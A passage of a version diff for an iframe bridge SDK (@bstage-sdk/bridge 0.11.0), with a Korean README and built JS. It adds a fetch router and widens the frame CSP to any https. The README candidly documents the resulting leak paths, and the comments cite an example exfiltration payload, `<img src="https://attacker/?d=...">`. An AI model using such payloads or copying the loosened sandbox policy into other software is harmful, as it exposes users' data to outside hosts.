@bstage-sdk/bridge 0.10.0 → 0.11.0

package/README.md

@@ -219,7 +219,7 @@ external에 인증을 붙이는 fetch를 주입하지 않는다. 외부 갈래
 
 ## 프레임 문서
 
-`createSrcdoc`가 만드는 문서는 CSP로 프레임의 직접 네트워크를 좁힌다. 스크립트는 nonce가 붙은
+`createSrcdoc`가 만드는 문서는 CSP로 프레임이 불러올 수 있는 것을 좁힌다. 스크립트는 nonce가 붙은
 부트스트랩과 `assetOrigin`의 번들만 실행된다. 부트스트랩은 브리지 클라이언트를 설치하고 init을 받은 뒤
 엔트리를 로드해 custom element를 붙이고, 문서 높이를 `resize`로 보고한다.
 
@@ -230,11 +230,12 @@ style-src 'unsafe-inline' {assetOrigin}
 img-src {assetOrigin} {mediaOrigins…} data: blob:
 font-src {assetOrigin} data:
 media-src {assetOrigin} {mediaOrigins…} blob:
-connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
+connect-src https: wss:; frame-src 'none'; form-action 'none'; base-uri 'none'
 ```
 
-- `fetch`·XHR·WebSocket·EventSource는 `connect-src 'none'`으로 막힌다. API 호출은 브리지(`request`)로만 간다 —
-  `allowExternal: true`면 브리지가 무인증 외부 https 호출을 중개하므로, 프레임이 가진 데이터는 이 경로로도 밖에 나갈 수 있다.
+- `connect-src`는 항상 `https: wss:`다(아래 "프레임 네트워크"). 평문 `http:`·`ws:`는 열지 않는다. 토큰이 필요한 API는
+  부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 프레임 안에서 직접 부른다.
+  브리지 fetch(`__bstage_bridge__.fetch`)의 external 갈래(`allowExternal: true`)도 호환을 위해 그대로 남는다.
 - img-src·media-src에 맨 `https:`는 두지 않는다 — 두면 `<img src="https://임의-origin/?d=…">`가 자유로운 GET
   유출 통로가 된다. 외부 이미지·미디어가 필요하면 `mediaOrigins`에 **정확한 https origin**만 넘긴다
   (경로·쿼리·userinfo·와일드카드·대문자 호스트 불가, 최대 20개, 하나라도 틀리면 `TypeError`). font-src는 넓히지 않는다.
@@ -243,6 +244,54 @@ connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
   절대 들어가지 않는다**는 것이다 — 인증은 호스트의 `fetchImpl`이 붙이고, 토큰을 응답으로 돌려주는 인증 경로는
   게이트웨이 거절 목록(`gatewayDenyPrefixes`·`gatewayDenySegments`)으로 막는다. 프레임에 넘기는 init·이벤트·응답에 민감 정보를 싣지 않는다.
 
+### 프레임 네트워크 (항상 적용)
+
+결정(2026-10-22): 격리 프레임에서 **토큰이 필요한 정해진 API만 브리지**로 보내고(호스트가 팬 토큰을 붙인다),
+**그 밖의 API는 템플릿이 프레임 안에서 직접** 부른다. 호스트 옵션은 없다 — `createSrcdoc`로 만든 모든 프레임(포털 미리보기 포함)이
+이 규칙으로 돈다.
+
+동작:
+
+- CSP `connect-src https: wss:`. `http:`·`ws:`는 열지 않는다. `img-src`·`media-src`·`font-src`는 위처럼 좁게 두고
+  `frame-src 'none'`·`form-action 'none'`·`base-uri 'none'`도 그대로다.
+- 부트스트랩이 템플릿 코드보다 먼저 `globalThis.__bstage_fetch__`(쓰기 불가)를 설치한다. inline 모드용으로 쓰인 템플릿이
+  부르는 그 이름이다. `new URL(input, hostOrigin)`으로 정규화한 뒤 갈래를 나눈다.
+
+| 목적지                                                                        | 갈래                                                                                                  |
+| ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
+| hostOrigin + 경로가 init `gatewayPrefixes` 안(web-base는 `['/gw/', '/svc/']`) | 브리지 fetch(기존 프로토콜, 호스트가 다시 판정하고 토큰을 붙인다)                                     |
+| origin이 init `partnerOrigins`와 정확히 일치                                  | 브리지 fetch(`partnerFetchImpl`)                                                                      |
+| 그 밖의 https                                                                 | 프레임의 원래 `fetch`(부트스트랩 때 잡은 참조), `credentials: 'omit'`·`referrerPolicy: 'no-referrer'` |
+| hostOrigin의 게이트웨이 밖 경로, https가 아닌 스킴(http·data·blob 등)         | `TypeError`(혼동을 막으려고 직접 보내지 않는다)                                                       |
+
+- init에 `gatewayPrefixes`(호스트 `policy.gatewayPrefixes`)가 실린다. 판정의 정본은 여전히 호스트 정책이고, 프레임 라우터는
+  보낼 길만 고른다. 필드가 없는 옛 호스트면 hostOrigin 요청은 경로와 무관하게 브리지로 보낸다.
+- 라우터는 판정·전송에 쓰는 전역(`fetch`·`URL`과 그 접근자·`String.prototype.slice`·`Promise.prototype.then`·`Object.assign`)과
+  init의 라우팅 목록 사본을 부트스트랩 때 잡아 둔다. 템플릿이 나중에 전역·프로토타입·`getInit()` 객체를 바꿔도 갈래는 바뀌지 않는다(테스트로 고정).
+  갈래가 바뀌더라도 토큰은 새지 않는다 — 브리지로 간 요청은 호스트가 따로 판정하고, 직접 간 요청에는 토큰이 없다.
+- 직접 호출에 인증 헤더를 **붙이지 않는다.** 템플릿이 스스로 넣은 헤더는 그대로 간다.
+- `__bstage_bridge__.fetch`(브리지 fetch)와 호스트의 external 갈래(`allowExternal`)는 그대로 동작한다(호환).
+- core `BstageClient`는 프레임 안에서 계속 브리지 fetch를 쓴다 — 기본 목적지가 게이트웨이(`gatewayBase`)라 토큰이 필요한 쪽이다.
+  `baseUrl`을 외부로 바꾼 `BstageClient`는 브리지의 external 갈래로 중계되므로 호스트가 `allowExternal: true`여야 한다.
+  외부를 직접 부르려면 `__bstage_fetch__`나 `fetch`를 쓴다(`config.fetch: globalThis.__bstage_fetch__`도 된다).
+
+**보안상 맞바꾼 것(정직하게)** — 아래는 이 결정으로 열린 것이다. 끄는 스위치는 없으므로 프레임을 띄우는 모든 호스트가 아래 조건을 갖춘다.
+
+- **직접 호출에는 브리지 정책이 적용되지 않는다.** 사설 IP·IP 리터럴·`localhost`·내부 이름 거절, 분당·동시 요청 상한,
+  요청·응답 본문 상한이 없다. 프레임이 가진 데이터는 임의 https로 나갈 수 있고(이전에도 `allowExternal`·자기 내비게이션으로
+  가능했다), 사설망 접근은 브라우저의 Local Network Access에 맡긴다.
+- **요청은 `Origin: null`로 나간다**(sandbox opaque origin). 직접 부를 API는 CORS에서 `*` 또는 `null`을 허용해야 응답을 읽을 수 있다.
+  `null`을 credentials와 함께 허용하는 CORS는 다른 sandbox 문서에도 열리는 것이므로 API 쪽에서 피한다.
+- **토큰은 여전히 프레임에 들어가지 않는다.** 팬 토큰·쿠키는 호스트 `fetchImpl`·`partnerFetchImpl`이 브리지 요청에만 붙인다.
+- **같은 origin 게이트웨이·`/svc`는 브리지로만** 간다 — 단 이것은 `__bstage_fetch__` 라우터의 보장이다. 전역 `fetch`·`XMLHttpRequest`·
+  `navigator.sendBeacon`·`EventSource`·`WebSocket`은 그대로 남고 CSP `https:`는 hostOrigin도 포함하므로, 템플릿은 hostOrigin에
+  직접(`credentials: 'include'`, `mode: 'no-cors'`, `sendBeacon`은 항상 자격증명 포함) 요청을 보낼 수 있다. 이 요청은 브리지의
+  거절 규칙(`gatewayDenyPrefixes`·`gatewayDenySegments`)·상한을 거치지 않는다. opaque origin에서 나가 cross-site로 취급되므로
+  **`SameSite=None` 쿠키만** 실리고, 응답은 호스트 CORS가 `null`을 허용하지 않으면 읽히지 않는다(부작용은 일어날 수 있다).
+  그래서 프레임을 띄우는 호스트는 ① 호스트 origin 쿠키를 `SameSite=Lax`/`Strict`로 두고(`None` 쿠키는 이 직접 요청에 실린다 — 권장 후속 조치)
+  ② CORS에 `null` origin을 허용하지 않으며 ③ 쿠키로 인증하는 상태 변경 엔드포인트에 CSRF 방어를 유지한다.
+- 토큰을 응답 본문으로 돌려주는 경로(토큰 갱신 등)는 브리지의 게이트웨이 거절 규칙으로 계속 막힌다 — 직접 호출로는 토큰이 없으니 닿아도 얻을 것이 없다.
+
 프레임 안 제약: 쿠키·`localStorage`·호스트 DOM에 접근할 수 없다(opaque origin). 번역 사전은 CDN이 아니라
 호스트가 init·`locale` 이벤트의 `translations`로 넘긴다. 브리지 모드의 `fetchTranslations`는 **현재 locale 사전만**
 돌려주고, 다른 locale(폴백 체인의 `en`·`ko` 등)은 빈 사전 `{}`이다. 같은 locale에 사전만 새로 와도 `useBstageTranslations`가 다시 읽는다.

package/dist/{chunk-N3JID7KQ.js → chunk-CSAW3L7P.js}

@@ -90,6 +90,126 @@ function createBridgeFetch(client) {
   return bridgeFetch;
 }
 
+// src/frame/directFetch.ts
+function installDirectFetch(g, client, config) {
+  const hostOrigin = config.hostOrigin;
+  const callFn = Function.prototype.call;
+  const NativeURL = g.URL;
+  const rawFetch = g.fetch;
+  const nativeFetch = typeof rawFetch === "function" ? callFn.bind(rawFetch) : void 0;
+  const bridgeFetch = client.fetch;
+  const strSlice = callFn.bind(String.prototype.slice);
+  const promiseThen = callFn.bind(Promise.prototype.then);
+  const promiseReject = Promise.reject.bind(Promise);
+  const assign = Object.assign;
+  const TypeErr = TypeError;
+  function getter(ctor, name) {
+    if (typeof ctor !== "function") return void 0;
+    let proto = ctor.prototype;
+    while (proto) {
+      const desc = Object.getOwnPropertyDescriptor(proto, name);
+      if (desc && typeof desc.get === "function") {
+        return callFn.bind(desc.get);
+      }
+      proto = Object.getPrototypeOf(proto);
+    }
+    return void 0;
+  }
+  const getHref = getter(NativeURL, "href");
+  const getOrigin = getter(NativeURL, "origin");
+  const getProtocol = getter(NativeURL, "protocol");
+  const getPathname = getter(NativeURL, "pathname");
+  const getRequestUrl = getter(g.Request, "url");
+  let gatewayPrefixes = null;
+  let partnerOrigins = [];
+  let routesReady = false;
+  function copyStrings(value) {
+    if (!Array.isArray(value)) return null;
+    const out = [];
+    for (let i = 0; i < value.length; i += 1) {
+      if (typeof value[i] === "string") out[out.length] = value[i];
+    }
+    return out;
+  }
+  function takeSnapshot(init) {
+    if (routesReady) return;
+    const raw = init;
+    gatewayPrefixes = copyStrings(raw.gatewayPrefixes);
+    partnerOrigins = copyStrings(raw.partnerOrigins) || [];
+    routesReady = true;
+  }
+  promiseThen(client.ready, takeSnapshot);
+  function matchesPrefix(pathname, prefix) {
+    const bare = strSlice(prefix, prefix.length - 1) === "/" ? strSlice(prefix, 0, -1) : prefix;
+    return pathname === bare || strSlice(pathname, 0, bare.length + 1) === bare + "/";
+  }
+  function routeOf(origin, protocol, pathname) {
+    if (origin === hostOrigin) {
+      if (gatewayPrefixes === null) return "bridge";
+      for (let i = 0; i < gatewayPrefixes.length; i += 1) {
+        if (matchesPrefix(pathname, gatewayPrefixes[i])) return "bridge";
+      }
+      return "reject";
+    }
+    for (let i = 0; i < partnerOrigins.length; i += 1) {
+      if (origin === partnerOrigins[i]) return "bridge";
+    }
+    return protocol === "https:" ? "direct" : "reject";
+  }
+  function requestUrlOf(input) {
+    if (!getRequestUrl || typeof input !== "object" || input === null) return void 0;
+    try {
+      return getRequestUrl(input);
+    } catch {
+      return void 0;
+    }
+  }
+  function dispatch(input, init) {
+    if (typeof NativeURL !== "function" || !getHref || !getOrigin || !getProtocol || !getPathname) {
+      return promiseReject(new TypeErr("bstage fetch: URL is unavailable"));
+    }
+    const requestUrl = requestUrlOf(input);
+    const request = requestUrl !== void 0;
+    let parsed;
+    try {
+      parsed = new NativeURL(request ? requestUrl : String(input), hostOrigin);
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: invalid url"));
+    }
+    const href = getHref(parsed);
+    const route = routeOf(getOrigin(parsed), getProtocol(parsed), getPathname(parsed));
+    const target = request ? input : href;
+    if (route === "bridge") return bridgeFetch(target, init);
+    if (route === "reject") {
+      return promiseReject(new TypeErr("bstage fetch: destination not allowed"));
+    }
+    if (!nativeFetch) return promiseReject(new TypeErr("bstage fetch: fetch is unavailable"));
+    return nativeFetch(
+      g,
+      target,
+      assign({}, init, { credentials: "omit", referrerPolicy: "no-referrer" })
+    );
+  }
+  function bstageFetch(input, init) {
+    try {
+      if (routesReady) return dispatch(input, init);
+      return promiseThen(client.ready, function(value) {
+        takeSnapshot(value);
+        return dispatch(input, init);
+      });
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: request failed"));
+    }
+  }
+  Object.defineProperty(g, "__bstage_fetch__", {
+    value: bstageFetch,
+    writable: false,
+    configurable: false,
+    enumerable: false
+  });
+  return bstageFetch;
+}
+
 // src/frame/runtime.ts
 function bridgeRuntime(g, makeFetch, config) {
   const NS = "bstage-bridge";
@@ -342,5 +462,6 @@ function bridgeRuntime(g, makeFetch, config) {
 
 export {
   bridgeRuntime,
-  createBridgeFetch
+  createBridgeFetch,
+  installDirectFetch
 };

package/dist/{chunk-JH3A3Z2A.js → chunk-ND2HFYBP.js}

@@ -1,7 +1,8 @@
 import {
   bridgeRuntime,
-  createBridgeFetch
-} from "./chunk-N3JID7KQ.js";
+  createBridgeFetch,
+  installDirectFetch
+} from "./chunk-CSAW3L7P.js";
 
 // src/protocol/envelope.ts
 var BRIDGE_VERSION = 1;
@@ -449,7 +450,7 @@ function buildFrameCsp(nonce, assetOrigin, mediaOrigins = []) {
     `img-src ${media} data: blob:`,
     `font-src ${assetOrigin} data:`,
     `media-src ${media} blob:`,
-    "connect-src 'none'",
+    "connect-src https: wss:",
     "frame-src 'none'",
     "form-action 'none'",
     "base-uri 'none'"
@@ -466,6 +467,9 @@ function bootstrapScript(o) {
     `var bridgeRuntime = ${bridgeRuntime.toString()};`,
     `var createBridgeFetch = ${createBridgeFetch.toString()};`,
     "var client = bridgeRuntime(globalThis, createBridgeFetch, { session: SESSION, hostOrigin: HOST_ORIGIN });",
+    // 라우터는 항상 심는다. ready.then이 엔트리 로드(아래 client.ready.then)보다 먼저 등록돼야 템플릿보다 먼저 스냅샷을 잡는다.
+    `var installDirectFetch = ${installDirectFetch.toString()};`,
+    "installDirectFetch(globalThis, client, { hostOrigin: HOST_ORIGIN });",
     "var lastHeight = -1;",
     "var scheduled = false;",
     "function reportHeight() {",

package/dist/{createSrcdoc-bOoxttPz.d.cts → createSrcdoc-DgQyvIjG.d.cts}

@@ -33,6 +33,9 @@ declare const MAX_ELEMENT_NAME_LENGTH = 100;
 /**
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
  *
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
+ *
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
  *

package/dist/{createSrcdoc-bOoxttPz.d.ts → createSrcdoc-DgQyvIjG.d.ts}

@@ -33,6 +33,9 @@ declare const MAX_ELEMENT_NAME_LENGTH = 100;
 /**
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
  *
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
+ *
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
  *

package/dist/frame.cjs

@@ -21,7 +21,8 @@ var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: tru
 var frame_exports = {};
 __export(frame_exports, {
   createBridgeClient: () => createBridgeClient,
-  createBridgeFetch: () => createBridgeFetch
+  createBridgeFetch: () => createBridgeFetch,
+  installDirectFetch: () => installDirectFetch
 });
 module.exports = __toCommonJS(frame_exports);
 
@@ -379,8 +380,129 @@ function createBridgeClient(options = {}) {
   }
   return bridgeRuntime(g, createBridgeFetch, { session, hostOrigin });
 }
+
+// src/frame/directFetch.ts
+function installDirectFetch(g, client, config) {
+  const hostOrigin = config.hostOrigin;
+  const callFn = Function.prototype.call;
+  const NativeURL = g.URL;
+  const rawFetch = g.fetch;
+  const nativeFetch = typeof rawFetch === "function" ? callFn.bind(rawFetch) : void 0;
+  const bridgeFetch = client.fetch;
+  const strSlice = callFn.bind(String.prototype.slice);
+  const promiseThen = callFn.bind(Promise.prototype.then);
+  const promiseReject = Promise.reject.bind(Promise);
+  const assign = Object.assign;
+  const TypeErr = TypeError;
+  function getter(ctor, name) {
+    if (typeof ctor !== "function") return void 0;
+    let proto = ctor.prototype;
+    while (proto) {
+      const desc = Object.getOwnPropertyDescriptor(proto, name);
+      if (desc && typeof desc.get === "function") {
+        return callFn.bind(desc.get);
+      }
+      proto = Object.getPrototypeOf(proto);
+    }
+    return void 0;
+  }
+  const getHref = getter(NativeURL, "href");
+  const getOrigin = getter(NativeURL, "origin");
+  const getProtocol = getter(NativeURL, "protocol");
+  const getPathname = getter(NativeURL, "pathname");
+  const getRequestUrl = getter(g.Request, "url");
+  let gatewayPrefixes = null;
+  let partnerOrigins = [];
+  let routesReady = false;
+  function copyStrings(value) {
+    if (!Array.isArray(value)) return null;
+    const out = [];
+    for (let i = 0; i < value.length; i += 1) {
+      if (typeof value[i] === "string") out[out.length] = value[i];
+    }
+    return out;
+  }
+  function takeSnapshot(init) {
+    if (routesReady) return;
+    const raw = init;
+    gatewayPrefixes = copyStrings(raw.gatewayPrefixes);
+    partnerOrigins = copyStrings(raw.partnerOrigins) || [];
+    routesReady = true;
+  }
+  promiseThen(client.ready, takeSnapshot);
+  function matchesPrefix(pathname, prefix) {
+    const bare = strSlice(prefix, prefix.length - 1) === "/" ? strSlice(prefix, 0, -1) : prefix;
+    return pathname === bare || strSlice(pathname, 0, bare.length + 1) === bare + "/";
+  }
+  function routeOf(origin, protocol, pathname) {
+    if (origin === hostOrigin) {
+      if (gatewayPrefixes === null) return "bridge";
+      for (let i = 0; i < gatewayPrefixes.length; i += 1) {
+        if (matchesPrefix(pathname, gatewayPrefixes[i])) return "bridge";
+      }
+      return "reject";
+    }
+    for (let i = 0; i < partnerOrigins.length; i += 1) {
+      if (origin === partnerOrigins[i]) return "bridge";
+    }
+    return protocol === "https:" ? "direct" : "reject";
+  }
+  function requestUrlOf(input) {
+    if (!getRequestUrl || typeof input !== "object" || input === null) return void 0;
+    try {
+      return getRequestUrl(input);
+    } catch {
+      return void 0;
+    }
+  }
+  function dispatch(input, init) {
+    if (typeof NativeURL !== "function" || !getHref || !getOrigin || !getProtocol || !getPathname) {
+      return promiseReject(new TypeErr("bstage fetch: URL is unavailable"));
+    }
+    const requestUrl = requestUrlOf(input);
+    const request = requestUrl !== void 0;
+    let parsed;
+    try {
+      parsed = new NativeURL(request ? requestUrl : String(input), hostOrigin);
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: invalid url"));
+    }
+    const href = getHref(parsed);
+    const route = routeOf(getOrigin(parsed), getProtocol(parsed), getPathname(parsed));
+    const target = request ? input : href;
+    if (route === "bridge") return bridgeFetch(target, init);
+    if (route === "reject") {
+      return promiseReject(new TypeErr("bstage fetch: destination not allowed"));
+    }
+    if (!nativeFetch) return promiseReject(new TypeErr("bstage fetch: fetch is unavailable"));
+    return nativeFetch(
+      g,
+      target,
+      assign({}, init, { credentials: "omit", referrerPolicy: "no-referrer" })
+    );
+  }
+  function bstageFetch(input, init) {
+    try {
+      if (routesReady) return dispatch(input, init);
+      return promiseThen(client.ready, function(value) {
+        takeSnapshot(value);
+        return dispatch(input, init);
+      });
+    } catch {
+      return promiseReject(new TypeErr("bstage fetch: request failed"));
+    }
+  }
+  Object.defineProperty(g, "__bstage_fetch__", {
+    value: bstageFetch,
+    writable: false,
+    configurable: false,
+    enumerable: false
+  });
+  return bstageFetch;
+}
 // Annotate the CommonJS export names for ESM import in node:
 0 && (module.exports = {
   createBridgeClient,
-  createBridgeFetch
+  createBridgeFetch,
+  installDirectFetch
 });

package/dist/frame.d.cts

@@ -1,4 +1,4 @@
-import { g as BridgeInit, j as BridgeRequestType, i as BridgeRequestMap, e as BridgeEventMap } from './messages-CRGnyf-6.cjs';
+import { g as BridgeInit, j as BridgeRequestType, i as BridgeRequestMap, e as BridgeEventMap } from './messages-BjpZyiLy.cjs';
 
 /** 프레임 런타임 설정 — srcdoc 부트스트랩이 상수로 넘긴다. */
 interface BridgeClientConfig {
@@ -73,4 +73,45 @@ declare function createBridgeClient(options?: CreateBridgeClientOptions): Bridge
  */
 declare function createBridgeFetch(client: BridgeRequester): typeof globalThis.fetch;
 
-export { type BridgeClient, type BridgeClientConfig, type BridgeRequester, type CreateBridgeClientOptions, type Unsubscribe, createBridgeClient, createBridgeFetch };
+/** `installDirectFetch` 설정 — srcdoc 부트스트랩이 상수로 넘긴다. */
+interface DirectFetchConfig {
+    /** 호스트 페이지 origin(srcdoc에 심긴 값). 상대 URL의 기준이자 "같은 origin" 판정 기준. */
+    readonly hostOrigin: string;
+}
+/** 프레임 fetch 라우터가 쓰는 전역의 최소 모양 — 테스트에서 가짜 창을 넘길 수 있게 한다. */
+interface DirectFetchGlobal {
+    fetch?: typeof globalThis.fetch;
+    URL?: typeof URL;
+    Request?: typeof Request;
+    __bstage_fetch__?: typeof globalThis.fetch;
+}
+/** 갈래 판정 결과. */
+type DirectRoute = 'bridge' | 'direct' | 'reject';
+/**
+ * 격리 프레임의 fetch 라우터를(`createSrcdoc` 부트스트랩이 항상 설치한다, README "프레임 네트워크")
+ * `globalThis.__bstage_fetch__`에 설치한다. inline 모드용으로 쓰인 템플릿이 부르는 그 이름이다.
+ *
+ * 갈래(`new URL(input, hostOrigin)`으로 정규화한 뒤):
+ * - **브리지**(토큰이 필요한 목적지): hostOrigin과 같은 origin이고 경로가 init `gatewayPrefixes` 안, 또는
+ *   origin이 init `partnerOrigins`와 정확히 일치. 기존 브리지 fetch(`client.fetch`)로 보내고 호스트가 다시 판정한다.
+ * - **직접**: 그 밖의 https. 부트스트랩 때 잡아 둔 프레임의 원래 `fetch`로 `credentials: 'omit'`·
+ *   `referrerPolicy: 'no-referrer'`를 덮어 부른다. 인증 헤더는 붙이지 않는다(토큰은 프레임에 없다).
+ * - **거절**(`TypeError`): hostOrigin의 게이트웨이 밖 경로(혼동 방지 — 직접 보내지 않는다), https가 아닌 스킴.
+ *
+ * **자기완결 함수다** — `bridgeRuntime`과 함께 srcdoc에 `toString()`으로 심긴다(runtime.ts 주석 참고).
+ * 템플릿 코드보다 먼저 돌고, 판정·전송에 쓰는 전역(`fetch`·`URL`과 그 접근자·`String.prototype.slice`·
+ * `Promise.prototype.then`·`Object.assign`·`TypeError`)과 init의 라우팅 목록을 이때 잡아 둔다. 그래서 템플릿이
+ * 나중에 전역·프로토타입·init 객체를 바꿔도 갈래가 바뀌지 않는다. 갈래가 바뀌어도 토큰은 새지 않는다 —
+ * 브리지로 간 요청은 호스트가 따로 판정하고, 직접 간 요청에는 토큰이 없다. 이 고정은 혼동 방지다.
+ *
+ * init이 `gatewayPrefixes`를 싣지 않으면(옛 호스트) hostOrigin 요청은 경로와 무관하게 브리지로 보낸다
+ * (호스트가 판정하므로 안전한 쪽).
+ *
+ * @param g 프레임 전역(`globalThis`)
+ * @param client 프레임 브리지 클라이언트(`bridgeRuntime` 결과, frozen)
+ * @param config srcdoc에 심긴 hostOrigin
+ * @returns 설치한 fetch 라우터
+ */
+declare function installDirectFetch(g: DirectFetchGlobal, client: Pick<BridgeClient, 'fetch' | 'ready'>, config: DirectFetchConfig): typeof globalThis.fetch;
+
+export { type BridgeClient, type BridgeClientConfig, type BridgeRequester, type CreateBridgeClientOptions, type DirectFetchConfig, type DirectFetchGlobal, type DirectRoute, type Unsubscribe, createBridgeClient, createBridgeFetch, installDirectFetch };

package/dist/frame.d.ts

@@ -1,4 +1,4 @@
-import { g as BridgeInit, j as BridgeRequestType, i as BridgeRequestMap, e as BridgeEventMap } from './messages-CRGnyf-6.js';
+import { g as BridgeInit, j as BridgeRequestType, i as BridgeRequestMap, e as BridgeEventMap } from './messages-BjpZyiLy.js';
 
 /** 프레임 런타임 설정 — srcdoc 부트스트랩이 상수로 넘긴다. */
 interface BridgeClientConfig {
@@ -73,4 +73,45 @@ declare function createBridgeClient(options?: CreateBridgeClientOptions): Bridge
  */
 declare function createBridgeFetch(client: BridgeRequester): typeof globalThis.fetch;
 
-export { type BridgeClient, type BridgeClientConfig, type BridgeRequester, type CreateBridgeClientOptions, type Unsubscribe, createBridgeClient, createBridgeFetch };
+/** `installDirectFetch` 설정 — srcdoc 부트스트랩이 상수로 넘긴다. */
+interface DirectFetchConfig {
+    /** 호스트 페이지 origin(srcdoc에 심긴 값). 상대 URL의 기준이자 "같은 origin" 판정 기준. */
+    readonly hostOrigin: string;
+}
+/** 프레임 fetch 라우터가 쓰는 전역의 최소 모양 — 테스트에서 가짜 창을 넘길 수 있게 한다. */
+interface DirectFetchGlobal {
+    fetch?: typeof globalThis.fetch;
+    URL?: typeof URL;
+    Request?: typeof Request;
+    __bstage_fetch__?: typeof globalThis.fetch;
+}
+/** 갈래 판정 결과. */
+type DirectRoute = 'bridge' | 'direct' | 'reject';
+/**
+ * 격리 프레임의 fetch 라우터를(`createSrcdoc` 부트스트랩이 항상 설치한다, README "프레임 네트워크")
+ * `globalThis.__bstage_fetch__`에 설치한다. inline 모드용으로 쓰인 템플릿이 부르는 그 이름이다.
+ *
+ * 갈래(`new URL(input, hostOrigin)`으로 정규화한 뒤):
+ * - **브리지**(토큰이 필요한 목적지): hostOrigin과 같은 origin이고 경로가 init `gatewayPrefixes` 안, 또는
+ *   origin이 init `partnerOrigins`와 정확히 일치. 기존 브리지 fetch(`client.fetch`)로 보내고 호스트가 다시 판정한다.
+ * - **직접**: 그 밖의 https. 부트스트랩 때 잡아 둔 프레임의 원래 `fetch`로 `credentials: 'omit'`·
+ *   `referrerPolicy: 'no-referrer'`를 덮어 부른다. 인증 헤더는 붙이지 않는다(토큰은 프레임에 없다).
+ * - **거절**(`TypeError`): hostOrigin의 게이트웨이 밖 경로(혼동 방지 — 직접 보내지 않는다), https가 아닌 스킴.
+ *
+ * **자기완결 함수다** — `bridgeRuntime`과 함께 srcdoc에 `toString()`으로 심긴다(runtime.ts 주석 참고).
+ * 템플릿 코드보다 먼저 돌고, 판정·전송에 쓰는 전역(`fetch`·`URL`과 그 접근자·`String.prototype.slice`·
+ * `Promise.prototype.then`·`Object.assign`·`TypeError`)과 init의 라우팅 목록을 이때 잡아 둔다. 그래서 템플릿이
+ * 나중에 전역·프로토타입·init 객체를 바꿔도 갈래가 바뀌지 않는다. 갈래가 바뀌어도 토큰은 새지 않는다 —
+ * 브리지로 간 요청은 호스트가 따로 판정하고, 직접 간 요청에는 토큰이 없다. 이 고정은 혼동 방지다.
+ *
+ * init이 `gatewayPrefixes`를 싣지 않으면(옛 호스트) hostOrigin 요청은 경로와 무관하게 브리지로 보낸다
+ * (호스트가 판정하므로 안전한 쪽).
+ *
+ * @param g 프레임 전역(`globalThis`)
+ * @param client 프레임 브리지 클라이언트(`bridgeRuntime` 결과, frozen)
+ * @param config srcdoc에 심긴 hostOrigin
+ * @returns 설치한 fetch 라우터
+ */
+declare function installDirectFetch(g: DirectFetchGlobal, client: Pick<BridgeClient, 'fetch' | 'ready'>, config: DirectFetchConfig): typeof globalThis.fetch;
+
+export { type BridgeClient, type BridgeClientConfig, type BridgeRequester, type CreateBridgeClientOptions, type DirectFetchConfig, type DirectFetchGlobal, type DirectRoute, type Unsubscribe, createBridgeClient, createBridgeFetch, installDirectFetch };

package/dist/frame.js

@@ -1,7 +1,8 @@
 import {
   bridgeRuntime,
-  createBridgeFetch
-} from "./chunk-N3JID7KQ.js";
+  createBridgeFetch,
+  installDirectFetch
+} from "./chunk-CSAW3L7P.js";
 
 // src/frame/createBridgeClient.ts
 var BRIDGE_CONFIG_GLOBAL = "__bstage_bridge_config__";
@@ -17,5 +18,6 @@ function createBridgeClient(options = {}) {
 }
 export {
   createBridgeClient,
-  createBridgeFetch
+  createBridgeFetch,
+  installDirectFetch
 };

package/dist/host.cjs

@@ -506,6 +506,7 @@ function buildInit(init, hostOrigin, partnerOrigins, policy) {
     spaceId: String(init.spaceId),
     hostOrigin,
     gatewayBase: `${hostOrigin}/gw`,
+    gatewayPrefixes: policy.gatewayPrefixes,
     locale: String(init.locale),
     theme: sanitizeTheme(init.theme),
     ...slot ? { slot } : {},
@@ -1338,6 +1339,126 @@ function createBridgeFetch(client) {
   return bridgeFetch;
 }
 
+// src/frame/directFetch.ts
+function installDirectFetch(g, client, config) {
+  const hostOrigin = config.hostOrigin;
+  const callFn = Function.prototype.call;
+  const NativeURL = g.URL;
+  const rawFetch = g.fetch;
+  const nativeFetch = typeof rawFetch === "function" ? callFn.bind(rawFetch) : void 0;
+  const bridgeFetch = client.fetch;
+  const strSlice = callFn.bind(String.prototype.slice);
+  const promiseThen = callFn.bind(Promise.prototype.then);
+  const promiseReject = Promise.reject.bind(Promise);
+  const assign = Object.assign;
+  const TypeErr = TypeError;
+  function getter(ctor, name) {
+    if (typeof ctor !== "function") return void 0;
+    let proto = ctor.prototype;
+    while (proto) {
+      const desc = Object.getOwnPropertyDescriptor(proto, name);
+      if (desc && typeof desc.get === "function") {
+        return callFn.bind(desc.get);
+      }
+      proto = Object.getPrototypeOf(proto);
+    }
+    return void 0;
+  }
+  const getHref = getter(NativeURL, "href");
+  const getOrigin = getter(NativeURL, "origin");
+  const getProtocol = getter(NativeURL, "protocol");
+  const getPathname = getter(NativeURL, "pathname");
+  const getRequestUrl = getter(g.Request, "url");
+  let gatewayPrefixes = null;
+  let partnerOrigins = [];
